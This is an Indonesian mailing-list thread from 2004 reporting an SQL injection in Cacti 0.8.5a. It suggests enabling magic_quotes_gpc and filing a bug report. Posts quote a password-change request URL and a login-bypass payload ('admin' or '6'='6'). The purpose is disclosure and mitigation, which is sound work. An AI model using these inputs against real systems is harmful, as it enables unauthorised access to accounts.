Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Dave Matt 
#/etc/php.ini

- Original Message -
From: "Fajar NS" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, September 08, 2004 5:10 PM
Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a


| > - Original Message -
| > From: "Cahyo" <[EMAIL PROTECTED]>
| > To: <[EMAIL PROTECTED]>
| > Sent: Wednesday, September 08, 2004 3:34 PM
| > Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a
| >
| >
| > | On Wed, 8 Sep 2004, Dave Matt wrote:
| > |
| > | :: Dear All,
| > | :: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
| > | :: telah ditemukan SQL injeksi...dan saya sudah mencoba :
| > | ::
| > | :: Injeksi SQL:
| > | ::
| >
|
http://server/cacti/auth_changepassword.php?ref=indexphp&action=changepasswo
| > | :: rd&password=dave&confirm=dave&submit=Save
| > | ::
| > | :: Solusi:
| > | :: Set "magic_quotes_gpc" ke "on"
| > | ::
|
| ngesetnya di file yg mana ya mas?
| saya cari di sourcenya gak nemu paramater itu soalnya
|
| thx,
|
|
|
| --
| Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
| Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
| Tidak bisa posting? Baca:
| http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
| http://linux.or.id/wiki/index.php?pagename=TataTertibMilis
|
|


-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Fajar NS 
> - Original Message -
> From: "Cahyo" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Wednesday, September 08, 2004 3:34 PM
> Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a
>
>
> | On Wed, 8 Sep 2004, Dave Matt wrote:
> |
> | :: Dear All,
> | :: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
> | :: telah ditemukan SQL injeksi...dan saya sudah mencoba :
> | ::
> | :: Injeksi SQL:
> | ::
>
http://server/cacti/auth_changepassword.php?ref=indexphp&action=changepasswo
> | :: rd&password=dave&confirm=dave&submit=Save
> | ::
> | :: Solusi:
> | :: Set "magic_quotes_gpc" ke "on"
> | ::

ngesetnya di file yg mana ya mas?
saya cari di sourcenya gak nemu paramater itu soalnya

thx,



-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Dave Matt 
udah di add :
http://bugzilla.raxnet.net/view_all_bug_page.php


- Original Message -
From: "Cahyo" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, September 08, 2004 3:34 PM
Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a


| On Wed, 8 Sep 2004, Dave Matt wrote:
|
| :: Dear All,
| :: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
| :: telah ditemukan SQL injeksi...dan saya sudah mencoba :
| ::
| :: Injeksi SQL:
| ::
http://server/cacti/auth_changepassword.php?ref=indexphp&action=changepasswo
| :: rd&password=dave&confirm=dave&submit=Save
| ::
| :: Solusi:
| :: Set "magic_quotes_gpc" ke "on"
| ::
|
| untuk test bisa juga gini..
| UserName: admin' or '6'='6
| pass: up 2 U
| kebeneran cacti saya versi segitu :) ...thank's to arip
|
| regards,
|
| -+Cahyo+-
|
|
|
| --
| Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
| Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
| Tidak bisa posting? Baca:
| http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
| http://linux.or.id/wiki/index.php?pagename=TataTertibMilis
|
|


-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Cahyo 
On Wed, 8 Sep 2004, Dave Matt wrote:

:: Dear All,
:: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
:: telah ditemukan SQL injeksi...dan saya sudah mencoba :
::
:: Injeksi SQL:
:: http://server/cacti/auth_changepassword.php?ref=indexphp&action=changepasswo
:: rd&password=dave&confirm=dave&submit=Save
::
:: Solusi:
:: Set "magic_quotes_gpc" ke "on"
::

untuk test bisa juga gini..
UserName: admin' or '6'='6
pass: up 2 U
kebeneran cacti saya versi segitu :) ...thank's to arip

regards,

-+Cahyo+-



-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

[tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-07 Terurut Topik Dave Matt 
Dear All,
yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
telah ditemukan SQL injeksi...dan saya sudah mencoba :

Injeksi SQL:
http://server/cacti/auth_changepassword.php?ref=indexphp&action=changepasswo
rd&password=dave&confirm=dave&submit=Save

Solusi:
Set "magic_quotes_gpc" ke "on"


-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis